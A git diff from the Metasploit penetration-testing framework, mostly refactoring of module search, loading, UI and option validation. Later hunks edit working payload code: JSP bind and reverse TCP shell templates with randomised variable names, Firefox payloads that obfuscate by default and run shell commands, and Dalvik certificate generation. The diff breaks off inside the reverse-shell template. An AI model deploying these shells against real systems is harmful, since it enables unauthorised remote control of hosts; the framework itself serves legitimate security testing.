"https://wpvulndb.com/vulnerabilities/#{in_ctx_val}" elsif (in_ctx_id == 'URL') self.site = in_ctx_val.to_s else diff --git a/lib/msf/core/module/search.rb b/lib/msf/core/module/search.rb new file mode 100644 index 0000000000..7c2e965b3d --- /dev/null +++ b/lib/msf/core/module/search.rb @@ -0,0 +1,109 @@ +module Msf::Module::Search + # + # This provides a standard set of search filters for every module. + # The search terms are in the form of: + # { + # "text" => [ [ "include_term1", "include_term2", ...], [ "exclude_term1", "exclude_term2"], ... ], + # "cve" => [ [ "include_term1", "include_term2", ...], [ "exclude_term1", "exclude_term2"], ... ] + # } + # + # Returns true on no match, false on match + # + def search_filter(search_string) + return false if not search_string + + search_string += " " + + # Split search terms by space, but allow quoted strings + terms = search_string.split(/\"/).collect{|t| t.strip==t ? t : t.split(' ')}.flatten + terms.delete('') + + # All terms are either included or excluded + res = {} + + terms.each do |t| + f,v = t.split(":", 2) + if not v + v = f + f = 'text' + end + next if v.length == 0 + f.downcase! + v.downcase! + res[f] ||=[ [], [] ] + if v[0,1] == "-" + next if v.length == 1 + res[f][1] << v[1,v.length-1] + else + res[f][0] << v + end + end + + k = res + + refs = self.references.map{|x| [x.ctx_id, x.ctx_val].join("-") } + is_server = (self.respond_to?(:stance) and self.stance == "aggressive") + is_client = (self.respond_to?(:stance) and self.stance == "passive") + + [0,1].each do |mode| + match = false + k.keys.each do |t| + next if k[t][mode].length == 0 + + k[t][mode].each do |w| + # Reset the match flag for each keyword for inclusive search + match = false if mode == 0 + + # Convert into a case-insensitive regex + r = Regexp.new(Regexp.escape(w), true) + + case t + when 'text' + terms = [self.name, self.fullname, self.description] + refs + self.author.map{|x| x.to_s} + if self.respond_to?(:targets) and self.targets + terms = terms + self.targets.map{|x| x.name} + end + match = [t,w] if terms.any? { |x| x =~ r } + when 'name' + match = [t,w] if self.name =~ r + when 'path' + match = [t,w] if self.fullname =~ r + when 'author' + match = [t,w] if self.author.map{|x| x.to_s}.any? { |a| a =~ r } + when 'os', 'platform' + match = [t,w] if self.platform_to_s =~ r or self.arch_to_s =~ r + if not match and self.respond_to?(:targets) and self.targets + match = [t,w] if self.targets.map{|x| x.name}.any? { |t| t =~ r } + end + when 'port' + match = [t,w] if self.datastore['RPORT'].to_s =~ r + when 'type' + match = [t,w] if Msf::MODULE_TYPES.any? { |modt| w == modt and self.type == modt } + when 'app' + match = [t,w] if (w == "server" and is_server) + match = [t,w] if (w == "client" and is_client) + when 'cve' + match = [t,w] if refs.any? { |ref| ref =~ /^cve\-/i and ref =~ r } + when 'bid' + match = [t,w] if refs.any? { |ref| ref =~ /^bid\-/i and ref =~ r } + when 'osvdb' + match = [t,w] if refs.any? { |ref| ref =~ /^osvdb\-/i and ref =~ r } + when 'edb' + match = [t,w] if refs.any? { |ref| ref =~ /^edb\-/i and ref =~ r } + end + break if match + end + # Filter this module if no matches for a given keyword type + if mode == 0 and not match + return true + end + end + # Filter this module if we matched an exclusion keyword (-value) + if mode == 1 and match + return true + end + end + + false + end +end \ No newline at end of file diff --git a/lib/msf/core/module/type.rb b/lib/msf/core/module/type.rb new file mode 100644 index 0000000000..1b0505df86 --- /dev/null +++ b/lib/msf/core/module/type.rb @@ -0,0 +1,65 @@ +module Msf::Module::Type + extend ActiveSupport::Concern + + module ClassMethods + # + # Class method to figure out what type of module this is + # + def type + raise NotImplementedError + end + end + + # + # Instance Methods + # + + # + # Returns true if this module is an auxiliary module. + # + def auxiliary? + (type == Msf::MODULE_AUX) + end + + # + # Returns true if this module is an encoder module. + # + def encoder? + (type == Msf::MODULE_ENCODER) + end + + # + # Returns true if this module is an exploit module. + # + def exploit? + (type == Msf::MODULE_EXPLOIT) + end + + # + # Returns true if this module is a nop module. + # + def nop? + (type == Msf::MODULE_NOP) + end + + # + # Returns true if this module is a payload module. + # + def payload? + (type == Msf::MODULE_PAYLOAD) + end + + # + # Returns true if this module is an post-exploitation module. + # + def post? + (type == Msf::MODULE_POST) + end + + # + # Return the module's abstract type. + # + def type + raise NotImplementedError + end +end \ No newline at end of file diff --git a/lib/msf/core/module/ui.rb b/lib/msf/core/module/ui.rb new file mode 100644 index 0000000000..2cbd697896 --- /dev/null +++ b/lib/msf/core/module/ui.rb @@ -0,0 +1,16 @@ +module Msf::Module::UI + autoload :Line, 'msf/core/module/ui/line' + autoload :Message, 'msf/core/module/ui/message' + + # Modules can subscribe to a user-interface, and as such they include the + # UI subscriber module. This provides methods like print, print_line, etc. + # User interfaces are designed to be medium independent, and as such the + # user interface subscribes are designed to provide a flexible way of + # interacting with the user, n stuff. + include Rex::Ui::Subscriber + + # Overwrite the {Rex::UI::Subscriber#print_line} to do custom prefixes + include Msf::Module::UI::Line + # Overwrite the {Rex::Ui::Subscriber} print_(status|error|good) to do time stamps + include Msf::Module::UI::Message +end \ No newline at end of file diff --git a/lib/msf/core/module/ui/line.rb b/lib/msf/core/module/ui/line.rb new file mode 100644 index 0000000000..abfaedd22b --- /dev/null +++ b/lib/msf/core/module/ui/line.rb @@ -0,0 +1,13 @@ +module Msf::Module::UI::Line + autoload :Verbose, 'msf/core/module/ui/line/verbose' + + include Msf::Module::UI::Line::Verbose + + def print_line(msg='') + super(print_line_prefix + msg) + end + + def print_line_prefix + datastore['CustomPrintPrefix'] || framework.datastore['CustomPrintPrefix'] || '' + end +end diff --git a/lib/msf/core/module/ui/line/verbose.rb b/lib/msf/core/module/ui/line/verbose.rb new file mode 100644 index 0000000000..399ef5c82b --- /dev/null +++ b/lib/msf/core/module/ui/line/verbose.rb @@ -0,0 +1,6 @@ +module Msf::Module::UI::Line::Verbose + # Verbose version of #print_line + def vprint_line(msg) + print_line(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] + end +end \ No newline at end of file diff --git a/lib/msf/core/module/ui/message.rb b/lib/msf/core/module/ui/message.rb new file mode 100644 index 0000000000..7370ded212 --- /dev/null +++ b/lib/msf/core/module/ui/message.rb @@ -0,0 +1,40 @@ +# Methods for print messages with status indicators +module Msf::Module::UI::Message + autoload :Verbose, 'msf/core/module/ui/message/verbose' + + include Msf::Module::UI::Message::Verbose + + def print_error(msg='') + super(print_prefix + msg) + end + + def print_good(msg='') + super(print_prefix + msg) + end + + def print_prefix + ret = '' + if (datastore['TimestampOutput'] =~ /^(t|y|1)/i) || ( + framework && framework.datastore['TimestampOutput'] =~ /^(t|y|1)/i + ) + prefix = "[#{Time.now.strftime("%Y.%m.%d-%H:%M:%S")}] " + + xn ||= datastore['ExploitNumber'] + xn ||= framework.datastore['ExploitNumber'] + if xn.is_a?(Fixnum) + prefix << "[%04d] " % xn + end + + ret = prefix + end + ret + end + + def print_status(msg='') + super(print_prefix + msg) + end + + def print_warning(msg='') + super(print_prefix + msg) + end +end \ No newline at end of file diff --git a/lib/msf/core/module/ui/message/verbose.rb b/lib/msf/core/module/ui/message/verbose.rb new file mode 100644 index 0000000000..089960cbfc --- /dev/null +++ b/lib/msf/core/module/ui/message/verbose.rb @@ -0,0 +1,26 @@ +module Msf::Module::UI::Message::Verbose + # Verbose version of #print_debug + def vprint_debug(msg) + print_debug(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] + end + + # Verbose version of #print_error + def vprint_error(msg) + print_error(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] + end + + # Verbose version of #print_good + def vprint_good(msg) + print_good(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] + end + + # Verbose version of #print_status + def vprint_status(msg) + print_status(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] + end + + # Verbose version of #print_warning + def vprint_warning(msg) + print_warning(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] + end +end \ No newline at end of file diff --git a/lib/msf/core/module/uuid.rb b/lib/msf/core/module/uuid.rb new file mode 100644 index 0000000000..d985122768 --- /dev/null +++ b/lib/msf/core/module/uuid.rb @@ -0,0 +1,27 @@ +module Msf::Module::UUID + # + # Attributes + # + + # @!attribute [r] uuid + # A unique identifier for this module instance + attr_reader :uuid + + protected + + # + # Attributes + # + + # @!attribute [w] uuid + attr_writer :uuid + + + # + # Instance Methods + # + + def generate_uuid + self.uuid = Rex::Text.rand_text_alphanumeric(8).downcase + end +end \ No newline at end of file diff --git a/lib/msf/core/module_manager.rb b/lib/msf/core/module_manager.rb index 0f30a47f60..08d0d0aa04 100644 --- a/lib/msf/core/module_manager.rb +++ b/lib/msf/core/module_manager.rb @@ -7,7 +7,6 @@ require 'pathname' # # Project # -require 'fastlib' require 'msf/core' require 'msf/core/module_set' diff --git a/lib/msf/core/module_manager/cache.rb b/lib/msf/core/module_manager/cache.rb index a61aa7606a..a1f626a5a6 100644 --- a/lib/msf/core/module_manager/cache.rb +++ b/lib/msf/core/module_manager/cache.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # # Gems # diff --git a/lib/msf/core/module_manager/loading.rb b/lib/msf/core/module_manager/loading.rb index e346527d2d..c5900bd15a 100644 --- a/lib/msf/core/module_manager/loading.rb +++ b/lib/msf/core/module_manager/loading.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # # Gems # @@ -6,7 +7,6 @@ require 'active_support/concern' # # Project # -require 'msf/core/modules/loader/archive' require 'msf/core/modules/loader/directory' # Deals with loading modules for the {Msf::ModuleManager} @@ -19,7 +19,6 @@ module Msf::ModuleManager::Loading # Classes that can be used to load modules. LOADER_CLASSES = [ - Msf::Modules::Loader::Archive, Msf::Modules::Loader::Directory ] @@ -102,7 +101,7 @@ module Msf::ModuleManager::Loading # Load all of the modules from the supplied directory or archive # - # @param [String] path Path to a directory or Fastlib archive + # @param [String] path Path to a directory # @param [Hash] options # @option options [Boolean] :force Whether the force loading the modules even if they are unchanged and already # loaded. diff --git a/lib/msf/core/module_manager/module_paths.rb b/lib/msf/core/module_manager/module_paths.rb index ede9a84889..91a41a18ad 100644 --- a/lib/msf/core/module_manager/module_paths.rb +++ b/lib/msf/core/module_manager/module_paths.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # # Gems # @@ -23,30 +24,14 @@ module Msf::ModuleManager::ModulePaths # Make the path completely canonical pathname = Pathname.new(path_without_trailing_file_separator).expand_path - extension = pathname.extname - if extension == Msf::Modules::Loader::Archive::ARCHIVE_EXTENSION - unless pathname.exist? - raise ArgumentError, "The path supplied does not exist", caller - end - - nested_paths << pathname.to_s - else - # Make sure the path is a valid directory - unless pathname.directory? - raise ArgumentError, "The path supplied is not a valid directory.", caller - end - - nested_paths << pathname.to_s - - # Identify any fastlib archives inside of this path - fastlib_glob = pathname.join('**', "*#{Msf::Modules::Loader::Archive::ARCHIVE_EXTENSION}") - - Dir.glob(fastlib_glob).each do |fastlib_path| - nested_paths << fastlib_path - end + # Make sure the path is a valid directory + unless pathname.directory? + raise ArgumentError, "The path supplied is not a valid directory.", caller end + nested_paths << pathname.to_s + # Update the module paths appropriately self.module_paths = (module_paths + nested_paths).flatten.uniq diff --git a/lib/msf/core/module_manager/module_sets.rb b/lib/msf/core/module_manager/module_sets.rb index f51727fe2d..7af1a14a5a 100644 --- a/lib/msf/core/module_manager/module_sets.rb +++ b/lib/msf/core/module_manager/module_sets.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # # Gems # diff --git a/lib/msf/core/module_manager/reloading.rb b/lib/msf/core/module_manager/reloading.rb index 0e3bf6d5fa..e864ba5497 100644 --- a/lib/msf/core/module_manager/reloading.rb +++ b/lib/msf/core/module_manager/reloading.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # Concerns reloading modules module Msf::ModuleManager::Reloading # Reloads the module specified in mod. This can either be an instance of a module or a module class. diff --git a/lib/msf/core/module_set.rb b/lib/msf/core/module_set.rb index 7c8a6f04ad..4aa066a468 100644 --- a/lib/msf/core/module_set.rb +++ b/lib/msf/core/module_set.rb @@ -1,6 +1,5 @@ # -*- coding: binary -*- require 'msf/core' -require 'fastlib' require 'pathname' # diff --git a/lib/msf/core/modules.rb b/lib/msf/core/modules.rb index 74b3722df3..c8114b24cf 100644 --- a/lib/msf/core/modules.rb +++ b/lib/msf/core/modules.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # Namespace for loading Metasploit modules module Msf::Modules diff --git a/lib/msf/core/modules/error.rb b/lib/msf/core/modules/error.rb index 463a1e98ac..106fdf5467 100644 --- a/lib/msf/core/modules/error.rb +++ b/lib/msf/core/modules/error.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # Base error class for all error under {Msf::Modules} class Msf::Modules::Error < StandardError def initialize(attributes={}) diff --git a/lib/msf/core/modules/loader.rb b/lib/msf/core/modules/loader.rb index e85040ea16..793eede152 100644 --- a/lib/msf/core/modules/loader.rb +++ b/lib/msf/core/modules/loader.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'msf/core/modules' # Namespace for module loaders diff --git a/lib/msf/core/modules/loader/archive.rb b/lib/msf/core/modules/loader/archive.rb deleted file mode 100644 index 338dec039a..0000000000 --- a/lib/msf/core/modules/loader/archive.rb +++ /dev/null @@ -1,90 +0,0 @@ -require 'msf/core/modules/loader/base' - -# Concerns loading modules form fastlib archives -class Msf::Modules::Loader::Archive < Msf::Modules::Loader::Base - # - # CONSTANTS - # - - # The extension for Fastlib archives. - ARCHIVE_EXTENSION = '.fastlib' - - # Returns true if the path is a Fastlib archive. - # - # @param (see Msf::Modules::Loader::Base#loadable?) - # @return [true] if path has the {ARCHIVE_EXTENSION} extname. - # @return [false] otherwise - def loadable?(path) - if File.extname(path) == ARCHIVE_EXTENSION - true - else - false - end - end - - protected - - # Yields the module_reference_name for each module file in the Fastlib archive at path. - # - # @param path [String] The path to the Fastlib archive file. - # @param opts [Hash] Additional options - # @yield (see Msf::Modules::Loader::Base#each_module_reference_name) - # @yieldparam (see Msf::Modules::Loader::Base#each_module_reference_name) - # @return (see Msf::Modules::Loader::Base#each_module_reference_name) - def each_module_reference_name(path, opts={}) - whitelist = opts[:whitelist] || [] - entries = ::FastLib.list(path) - - entries.each do |entry| - if entry.include?('.svn/') - next - end - - type = entry.split('/', 2)[0] - type = type.singularize - - unless module_manager.type_enabled?(type) - next - end - - if whitelist.empty? - - if module_path?(entry) - # The module_reference_name doesn't have a file extension - module_reference_name = module_reference_name_from_path(entry) - - yield path, type, module_reference_name - end - else - whitelist.each do |pattern| - if entry =~ pattern - yield path, type, module_reference_name - else - next - end - end - end - end - end - - # Returns the path to the module inside the Fastlib archive. The path to the archive is separated from the path to - # the file inside the archive by '::'. - # - # @param (see Msf::Modules::Loader::Base#module_path) - # @return [String] Path to module file inside the Fastlib archive. - def module_path(parent_path, type, module_reference_name) - file_path = typed_path(type, module_reference_name) - module_path = "#{parent_path}::#{file_path}" - - module_path - end - - # Loads the module content from the Fastlib archive. - # - # @return (see Msf::Modules::Loader::Base#read_module_content) - def read_module_content(path, type, module_reference_name) - file_path = typed_path(type, module_reference_name) - - ::FastLib.load(path, file_path) - end -end \ No newline at end of file diff --git a/lib/msf/core/modules/loader/base.rb b/lib/msf/core/modules/loader/base.rb index 0771d4f822..88317395f5 100644 --- a/lib/msf/core/modules/loader/base.rb +++ b/lib/msf/core/modules/loader/base.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # # Project # diff --git a/lib/msf/core/modules/loader/directory.rb b/lib/msf/core/modules/loader/directory.rb index aed29b7be2..693bcc9036 100644 --- a/lib/msf/core/modules/loader/directory.rb +++ b/lib/msf/core/modules/loader/directory.rb @@ -1,3 +1,8 @@ +# -*- coding: binary -*- + +require 'msf/core/modules/loader' +require 'msf/core/modules/loader/base' + # Concerns loading module from a directory class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base # Returns true if the path is a directory @@ -18,7 +23,7 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base # Yields the module_reference_name for each module file found under the directory path. # # @param [String] path The path to the directory. - # @param [Array] modules An array of regex patterns to search for specific modules + # @param [Hash] opts Input Hash. # @yield (see Msf::Modules::Loader::Base#each_module_reference_name) # @yieldparam [String] path The path to the directory. # @yieldparam [String] type The type correlated with the directory under path. @@ -109,4 +114,4 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base module_content end -end \ No newline at end of file +end diff --git a/lib/msf/core/modules/metasploit_class_compatibility_error.rb b/lib/msf/core/modules/metasploit_class_compatibility_error.rb index 1bdc67c3d2..ae829392cf 100644 --- a/lib/msf/core/modules/metasploit_class_compatibility_error.rb +++ b/lib/msf/core/modules/metasploit_class_compatibility_error.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'msf/core/modules/error' # Error raised by {Msf::Modules::Namespace#metasploit_class!} if it cannot the namespace_module does not have a constant diff --git a/lib/msf/core/modules/namespace.rb b/lib/msf/core/modules/namespace.rb index 8555dd8fec..fa65f5fa26 100644 --- a/lib/msf/core/modules/namespace.rb +++ b/lib/msf/core/modules/namespace.rb @@ -1,3 +1,7 @@ +# -*- coding: binary -*- +require 'metasploit/framework/api/version' +require 'metasploit/framework/core/version' + # Concern for behavior that all namespace modules that wrap Msf::Modules must support like version checking and # grabbing the version specific-Metasploit* class. module Msf::Modules::Namespace @@ -54,11 +58,11 @@ module Msf::Modules::Namespace def version_compatible!(module_path, module_reference_name) if const_defined?(:RequiredVersions) required_versions = const_get(:RequiredVersions) - minimum_core_version = required_versions[0] - minimum_api_version = required_versions[1] + minimum_core_version = Gem::Version.new(required_versions[0].to_s) + minimum_api_version = Gem::Version.new(required_versions[1].to_s) - if (minimum_core_version > ::Msf::Framework::VersionCore or - minimum_api_version > ::Msf::Framework::VersionAPI) + if (minimum_core_version > Metasploit::Framework::Core::GEM_VERSION || + minimum_api_version > Metasploit::Framework::API::GEM_VERSION) raise Msf::Modules::VersionCompatibilityError.new( :module_path => module_path, :module_reference_name => module_reference_name, diff --git a/lib/msf/core/modules/version_compatibility_error.rb b/lib/msf/core/modules/version_compatibility_error.rb index 7d622d1f95..fb52be3fc8 100644 --- a/lib/msf/core/modules/version_compatibility_error.rb +++ b/lib/msf/core/modules/version_compatibility_error.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'msf/core/modules/error' # Error raised by {Msf::Modules::Namespace#version_compatible!} on {Msf::Modules::Loader::Base#create_namespace_module} diff --git a/lib/msf/core/nop.rb b/lib/msf/core/nop.rb index 763c76f8a7..3f52876c98 100644 --- a/lib/msf/core/nop.rb +++ b/lib/msf/core/nop.rb @@ -14,14 +14,14 @@ class Nop < Msf::Module # Returns MODULE_NOP to indicate that this is a NOP module. # def self.type - return MODULE_NOP + return Msf::MODULE_NOP end # # Returns MODULE_NOP to indicate that this is a NOP module. # def type - return MODULE_NOP + return Msf::MODULE_NOP end # diff --git a/lib/msf/core/option_container.rb b/lib/msf/core/option_container.rb index d3b7901ca5..e8b4f2edbd 100644 --- a/lib/msf/core/option_container.rb +++ b/lib/msf/core/option_container.rb @@ -20,6 +20,7 @@ class OptBase # attrs[1] = description (string) # attrs[2] = default value # attrs[3] = possible enum values + # attrs[4] = Regex to validate the option # def initialize(in_name, attrs = []) self.name = in_name @@ -29,6 +30,21 @@ class OptBase self.desc = attrs[1] self.default = attrs[2] self.enums = [ *(attrs[3]) ].map { |x| x.to_s } + regex_temp = attrs[4] || nil + if regex_temp + # convert to string + regex_temp = regex_temp.to_s if regex_temp.is_a? Regexp + # remove start and end character, they will be added later + regex_temp = regex_temp.sub(/^\^/, '').sub(/\$$/, '') + # Add start and end marker to match the whole regex + regex_temp = "^#{regex_temp}$" + begin + Regexp.compile(regex_temp) + self.regex = regex_temp + rescue RegexpError, TypeError => e + raise("Invalid Regex #{regex_temp}: #{e}") + end + end end # @@ -63,7 +79,18 @@ class OptBase # If it's required and the value is nil or empty, then it's not valid. # def valid?(value) - return (required? and (value == nil or value.to_s.empty?)) ? false : true + if required? + # required variable not set + return false if (value == nil or value.to_s.empty?) + end + if regex + if value.match(regex) + return true + else + return false + end + end + return true end # @@ -125,6 +152,10 @@ class OptBase # The list of potential valid values # attr_accessor :enums + # + # A optional regex to validate the option value + # + attr_accessor :regex protected @@ -773,7 +804,7 @@ module Opt 'LPORT' => [ OptPort, 'nil', true, '"The listen port"' ], 'CPORT' => [ OptPort, 'nil', false, '"The local client port"' ], 'CHOST' => [ OptAddress, 'nil', false, '"The local client address"' ], - 'Proxies' => [ OptString, 'nil', 'false', '"Use a proxy chain"'] + 'Proxies' => [ OptString, 'nil', 'false', '"A proxy chain of format type:host:port[,type:host:port][...]"'] } # diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index a712034020..8cfbfc841f 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -102,14 +102,14 @@ class Payload < Msf::Module # Returns MODULE_PAYLOAD to indicate that this is a payload module. # def self.type - return MODULE_PAYLOAD + return Msf::MODULE_PAYLOAD end # # Returns MODULE_PAYLOAD to indicate that this is a payload module. # def type - return MODULE_PAYLOAD + return Msf::MODULE_PAYLOAD end # @@ -449,7 +449,6 @@ class Payload < Msf::Module # def on_session(session) - # If this payload is associated with an exploit, inform the exploit # that a session has been created and potentially shut down any # open sockets. This allows active exploits to continue hammering diff --git a/lib/msf/core/payload/dalvik.rb b/lib/msf/core/payload/dalvik.rb index aeae5aa361..0785fbd036 100644 --- a/lib/msf/core/payload/dalvik.rb +++ b/lib/msf/core/payload/dalvik.rb @@ -31,5 +31,40 @@ module Msf::Payload::Dalvik [str.length].pack("N") + str end + def string_sub(data, placeholder="", input="") + data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length)) + end + + def generate_cert + x509_name = OpenSSL::X509::Name.parse( + "C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown" + ) + key = OpenSSL::PKey::RSA.new(1024) + cert = OpenSSL::X509::Certificate.new + cert.version = 2 + cert.serial = 1 + cert.subject = x509_name + cert.issuer = x509_name + cert.public_key = key.public_key + + # Some time within the last 3 years + cert.not_before = Time.now - rand(3600*24*365*3) + + # From http://developer.android.com/tools/publishing/app-signing.html + # """ + # A validity period of more than 25 years is recommended. + # + # If you plan to publish your application(s) on Google Play, note + # that a validity period ending after 22 October 2033 is a + # requirement. You can not upload an application if it is signed + # with a key whose validity expires before that date. + # """ + cert.not_after = cert.not_before + 3600*24*365*20 # 20 years + + # If this line is left out, signature verification fails on OSX. + cert.sign(key, OpenSSL::Digest::SHA1.new) + + return cert, key + end end diff --git a/lib/msf/core/payload/firefox.rb b/lib/msf/core/payload/firefox.rb index 3d3ae54f03..bcfd8a4711 100644 --- a/lib/msf/core/payload/firefox.rb +++ b/lib/msf/core/payload/firefox.rb @@ -1,9 +1,12 @@ # -*- coding: binary -*- require 'msf/core' +require 'msf/core/exploit/jsobfu' require 'json' module Msf::Payload::Firefox + # automatically obfuscate every Firefox payload + include Msf::Exploit::JSObfu # Javascript source code of setTimeout(fn, delay) # @return [String] javascript source code that exposes the setTimeout(fn, delay) method @@ -17,6 +20,37 @@ module Msf::Payload::Firefox | end + # Javascript source of readUntilToken(s) + # Continues reading the stream as data is available, until a pair of + # command tokens like [[aBcD123ffh]] [[aBcD123ffh]] is consumed. + # + # Returns a function that can be passed to the #onDataAvailable callback of + # nsIInputStreamPump that will buffer until a second token is read, or, in + # the absence of any tokens, a newline character is read. + # + # @return [String] javascript source code that exposes the readUntilToken(cb) function + def read_until_token_source + %Q| + var readUntilToken = function(cb) { + Components.utils.import("resource://gre/modules/NetUtil.jsm"); + + var buffer = '', m = null; + return function(request, context, stream, offset, count) { + buffer += NetUtil.readInputStreamToString(stream, count); + if (buffer.match(/^(\\[\\[\\w{8}\\]\\])/)) { + if (m = buffer.match(/^(\\[\\[\\w{8}\\]\\])([\\s\\S]*)\\1/)) { + cb(m[2]); + buffer = ''; + } + } else if (buffer.indexOf("\\n") > -1) { + cb(buffer); + buffer = ''; + } + }; + }; + | + end + # Javascript source code of readFile(path) - synchronously reads a file and returns # its contents. The file is deleted immediately afterwards. # @@ -86,19 +120,20 @@ module Msf::Payload::Firefox var js = (/^\\s*\\[JAVASCRIPT\\]([\\s\\S]*)\\[\\/JAVASCRIPT\\]/g).exec(cmd.trim()); if (js) { var tag = "[!JAVASCRIPT]"; - var sync = true; // avoid zalgo's reach + var sync = true; /* avoid zalgo's reach */ var sent = false; var retVal = null; try { - retVal = Function('send', js[1])(function(r){ + this.send = function(r){ if (sent) return; - sent = true + sent = true; if (r) { if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); }); else cb(false, r+tag+"\\n"); } - }); + }; + retVal = Function(js[1]).call(this); } catch (e) { retVal = e.message; } sync = false; @@ -112,7 +147,7 @@ module Msf::Payload::Firefox } var shEsc = "\\\\$&"; - var shPath = "/bin/sh -c" + var shPath = "/bin/sh -c"; if (windows) { shPath = "cmd /c"; @@ -139,14 +174,17 @@ module Msf::Payload::Firefox .get("TmpD", Components.interfaces.nsIFile); stdout.append(stdoutFile); + var shell; + cmd = cmd.trim(); if (windows) { - var shell = shPath+" "+cmd; + shell = shPath+" "+cmd; shell = shPath+" "+shell.replace(/\\W/g, shEsc)+" >"+stdout.path+" 2>&1"; var b64 = svcs.btoa(shell); } else { - var shell = shPath+" "+cmd.replace(/\\W/g, shEsc); + shell = shPath+" "+cmd.replace(/\\W/g, shEsc); shell = shPath+" "+shell.replace(/\\W/g, shEsc) + " >"+stdout.path+" 2>&1"; } + var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); var sh = Components.classes["@mozilla.org/file/local;1"] @@ -173,6 +211,8 @@ module Msf::Payload::Firefox # This file is dropped on the windows platforms to a temp file in order to prevent the # cmd.exe prompt from appearing. It is executed and then deleted. # + # Note: we should totally add a powershell replacement here. + # # @return [String] JScript that reads its command-line argument, decodes # base64 and runs it as a shell command. def jscript_launcher @@ -188,4 +228,5 @@ module Msf::Payload::Firefox (new ActiveXObject("WScript.Shell")).Run(cmd, 0, true); | end + end diff --git a/lib/msf/core/payload/jsp.rb b/lib/msf/core/payload/jsp.rb index 2a81902839..e37b12ce63 100644 --- a/lib/msf/core/payload/jsp.rb +++ b/lib/msf/core/payload/jsp.rb @@ -2,11 +2,32 @@ require 'msf/core' require 'rex' +# This module is chained within JSP payloads that target the Java platform. +# It provides methods to generate Java / JSP code. module Msf::Payload::JSP + + # @param [Hash<Symbol, [String, nil]>] info + def initialize(info = {}) + ret = super(info) + + register_options([ + Msf::OptString.new( 'SHELL', [false, 'The system shell to use.']) + ], Msf::Payload::JSP ) + + ret + end + # Outputs jsp that spawns a bind TCP shell + # # @return [String] jsp code that executes bind TCP payload def jsp_bind_tcp # Modified from: http://www.security.org.sg/code/jspreverse.html + + var_is = Rex::Text.rand_text_alpha_lower(2) + var_os = Rex::Text.rand_text_alpha_lower(2) + var_in = Rex::Text.rand_text_alpha_lower(2) + var_out = Rex::Text.rand_text_alpha_lower(3) + jsp = <<-EOS <%@page import="java.lang.*"%> <%@page import="java.util.*"%> @@ -16,60 +37,68 @@ module Msf::Payload::JSP <% class StreamConnector extends Thread { - InputStream is; - OutputStream os; + InputStream #{var_is}; + OutputStream #{var_os}; - StreamConnector( InputStream is, OutputStream os ) + StreamConnector( InputStream #{var_is}, OutputStream #{var_os} ) { - this.is = is; - this.os = os; + this.#{var_is} = #{var_is}; + this.#{var_os} = #{var_os}; } public void run() { - BufferedReader in = null; - BufferedWriter out = null; + BufferedReader #{var_in} = null; + BufferedWriter #{var_out} = null; try { - in = new BufferedReader( new InputStreamReader( this.is ) ); - out = new BufferedWriter( new OutputStreamWriter( this.os ) ); + #{var_in} = new BufferedReader( new InputStreamReader( this.#{var_is} ) ); + #{var_out} = new BufferedWriter( new OutputStreamWriter( this.#{var_os} ) ); char buffer[] = new char[8192]; int length; - while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) + while( ( length = #{var_in}.read( buffer, 0, buffer.length ) ) > 0 ) { - out.write( buffer, 0, length ); - out.flush(); + #{var_out}.write( buffer, 0, length ); + #{var_out}.flush(); } } catch( Exception e ){} try { - if( in != null ) - in.close(); - if( out != null ) - out.close(); + if( #{var_in} != null ) + #{var_in}.close(); + if( #{var_out} != null ) + #{var_out}.close(); } catch( Exception e ){} } } try { + #{shell_path} ServerSocket server_socket = new ServerSocket( #{datastore['LPORT'].to_s} ); Socket client_socket = server_socket.accept(); server_socket.close(); - Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" ); + Process process = Runtime.getRuntime().exec( ShellPath ); ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start(); ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start(); } catch( Exception e ) {} %> EOS - return jsp + jsp end # Outputs jsp code that spawns a reverse TCP shell + # # @return [String] jsp code that executes reverse TCP payload def jsp_reverse_tcp # JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html + + var_is = Rex::Text.rand_text_alpha_lower(2) + var_os = Rex::Text.rand_text_alpha_lower(2) + var_in = Rex::Text.rand_text_alpha_lower(2) + var_out = Rex::Text.rand_text_alpha_lower(3) + jsp = <<-EOS <%@page import="java.lang.*"%> <%@page import="java.util.*"%> @@ -79,54 +108,57 @@ module Msf::Payload::JSP <% class StreamConnector extends Thread { - InputStream is; - OutputStream os; + InputStream #{var_is}; + OutputStream #{var_os}; - StreamConnector( InputStream is, OutputStream os ) + StreamConnector( InputStream #{var_is}, OutputStream #{var_os} ) { - this.is = is; - this.os = os; + this.#{var_is} = #{var_is}; + this.#{var_os} = #{var_os}; } public void run() { - BufferedReader in = null; - BufferedWriter out = null; + BufferedReader #{var_in} = null; + BufferedWriter #{var_out} = null; try { - in = new BufferedReader( new InputStreamReader( this.is ) ); - out = new BufferedWriter( new OutputStreamWriter( this.os ) ); + 